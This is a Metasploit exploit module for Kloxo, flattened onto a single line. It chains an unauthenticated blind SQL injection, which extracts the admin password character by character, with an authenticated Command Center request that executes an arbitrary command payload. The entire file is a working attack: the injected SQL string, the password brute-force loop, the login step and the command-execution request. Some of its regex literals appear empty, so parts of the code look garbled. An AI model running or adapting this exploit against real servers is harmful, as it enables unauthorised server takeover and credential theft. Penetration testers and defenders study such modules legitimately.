## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper Rank = ManualRanking PASSWORD_PREFIX = '__lxen:' BASE64_RANGE = Rex::Text::AlphaNumeric + '+/=' attr_accessor :password attr_accessor :session attr_accessor :server def initialize(info = {}) super(update_info(info, 'Name' => 'Kloxo SQL Injection and Remote Code Execution', 'Description' => %q{ This module exploits an unauthenticated SQL injection vulnerability affecting Kloxo, as exploited in the wild on January 2014. The SQL injection issue can be abused in order to retrieve the Kloxo admin cleartext password from the database. With admin access to the web control panel, remote PHP code execution can be achieved by abusing the Command Center function. The module tries to find the first server in the tree view, unless the server information is provided, in which case it executes the payload there. }, 'License' => MSF_LICENSE, 'Author' => [ 'Unknown', # Discovery, exploit in the wild 'juan vazquez' # Metasploit Module ], 'References' => [ ['URL', 'https://vpsboard.com/topic/3384-kloxo-installations-compromised/'], # kloxo exploited in the wild ['URL', 'http://www.webhostingtalk.com/showthread.php?p=8996984'], # kloxo exploited in the wild ['URL', 'http://forum.lxcenter.org/index.php?t=msg&th=19215&goto=102646'] # patch discussion ], 'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => { 'Space' => 262144, # 256k 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl python gawk netcat' } }, 'Targets' => [ ['Kloxo / CentOS', {}] ], 'Privileged' => true, 'DisclosureDate' => 'Jan 28 2014', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(7778), OptString.new('TARGETURI', [true, 'The URI of the Kloxo Application', '/']) ], self.class) register_advanced_options( [ OptString.new('SERVER_CLASS', [false, 'The server class']), OptString.new('SERVER_NAME', [false, 'The server name']) ], self.class) end def report_cred(opts) service_data = { address: opts[:ip], port: opts[:port], service_name: opts[:service_name], protocol: 'tcp', workspace_id: myworkspace_id } credential_data = { module_fullname: fullname, post_reference_name: self.refname, private_data: opts[:password], origin_type: :service, private_type: :password, username: opts[:user] }.merge(service_data) login_data = { core: create_credential(credential_data), status: Metasploit::Model::Login::Status::SUCCESSFUL, last_attempted_at: opts[:attempt_time] }.merge(service_data) create_credential_login(login_data) end def check return Exploit::CheckCode::Safe unless webcommand_exists? return Exploit::CheckCode::Safe if exploit_sqli(1, bad_char(0)) return Exploit::CheckCode::Safe unless pefix_found? Exploit::CheckCode::Vulnerable end def exploit fail_with(Failure::NotVulnerable, "#{peer} - The SQLi cannot be exploited") unless check == Exploit::CheckCode::Vulnerable print_status("Recovering the admin password with SQLi...") loot = base64_password fail_with(Failure::Unknown, "#{peer} - Failed to exploit the SQLi...") if loot.nil? @password = Rex::Text.decode_base64(loot) print_good("Password recovered: #{@password}") print_status("Logging into the Control Panel...") @session = send_login fail_with(Failure::NoAccess, "#{peer} - Login with admin/#{@password} failed...") if @session.nil? report_cred( ip: rhost, port: rport, user: 'admin', service_name: 'http', password: @password, attempt_time: DateTime.now ) print_status("Retrieving the server name...") @server = server_info fail_with(Failure::NoAccess, "#{peer} - Login with admin/#{Rex::Text.decode_base64(base64_password)} failed...") if @server.nil? print_status("Exploiting...") send_command(payload.encoded) end def send_login res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.to_s, 'htmllib', 'phplib', ''), 'vars_post' => { 'frm_clientname' => 'admin', 'frm_password' => @password, 'login' => 'Login' } ) if res && res.code == 302 && res.headers.include?('Set-Cookie') return res.get_cookies end nil end def server_info unless datastore['SERVER_CLASS'].blank? || datastore['SERVER_NAME'].blank? return { :class => datastore['SERVER_CLASS'], :name => datastore['SERVER_NAME'] } end res = send_request_cgi({ 'uri' => normalize_uri(target_uri.to_s, 'display.php'), 'cookie' => @session, 'vars_get' => { 'frm_action' => 'show' } }) if res && res.code == 200 && res.body.to_s =~ // return parse_display_info(res.body.to_s) end nil end def parse_display_info(html) server_info = {} pos = html.index(//) if html.index(//, pos).nil? return nil else server_info[:class] = $1 end if html.index(/ /, pos).nil? return nil else server_info[:name] = $1 end server_info end def send_command(command) data = Rex::MIME::Message.new data.add_part(@server[:class], nil, nil, 'form-data; name="frm_o_o[0][class]"') data.add_part(@server[:name], nil, nil, 'form-data; name="frm_o_o[0][nname]"') data.add_part(command, nil, nil, 'form-data; name="frm_pserver_c_ccenter_command"') data.add_part('', nil, nil, 'form-data; name="frm_pserver_c_ccenter_error"') data.add_part('updateform', nil, nil, 'form-data; name="frm_action"') data.add_part('commandcenter', nil, nil, 'form-data; name="frm_subaction"') data.add_part('Execute', nil, nil, 'form-data; name="frm_change"') post_data = data.to_s send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path.to_s, 'display.php'), 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'cookie' => @session, 'data' => post_data }, 1) end def webcommand_exists? res = send_request_cgi('uri' => normalize_uri(target_uri.path.to_s, 'lbin', 'webcommand.php')) if res && res.code == 200 && res.body.to_s =~ /__error_only_clients_and_auxiliary_allowed_to_login/ return true end false end def pefix_found? i = 1 PASSWORD_PREFIX.each_char do |c| return false unless exploit_sqli(i, c) i = i + 1 end true end def bad_char(pos) Rex::Text.rand_text_alpha(1, PASSWORD_PREFIX[pos]) end def ascii(char) char.unpack('C')[0] end def base64_password i = PASSWORD_PREFIX.length + 1 loot = '' until exploit_sqli(i, "\x00") vprint_status("Bruteforcing position #{i}") c = brute_force_char(i) if c.nil? return nil else loot << c end vprint_status("Found: #{loot}") i = i + 1 end loot end def brute_force_char(pos) BASE64_RANGE.each_char do |c| return c if exploit_sqli(pos, c) end nil end def exploit_sqli(pos, char) # $1$Tw5.g72.$/0X4oceEHjGOgJB/fqRww/ == crypt(123456) sqli = "al5i' " sqli << "union select '$1$Tw5.g72.$/0X4oceEHjGOgJB/fqRww/' from client where " sqli << "ascii(substring(( select realpass from client limit 1),#{pos},1))=#{ascii(char)}#" res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.to_s, 'lbin', 'webcommand.php'), 'vars_get' => { 'login-class' => 'client', 'login-name' => sqli, 'login-password' => '123456' } ) if res && res.code == 200 && res.body.blank? return true elsif res && res.code == 200 && res.body.to_s =~ /_error_login_error/ return false end vprint_warning("Unknown fingerprint while exploiting SQLi... be careful") false end end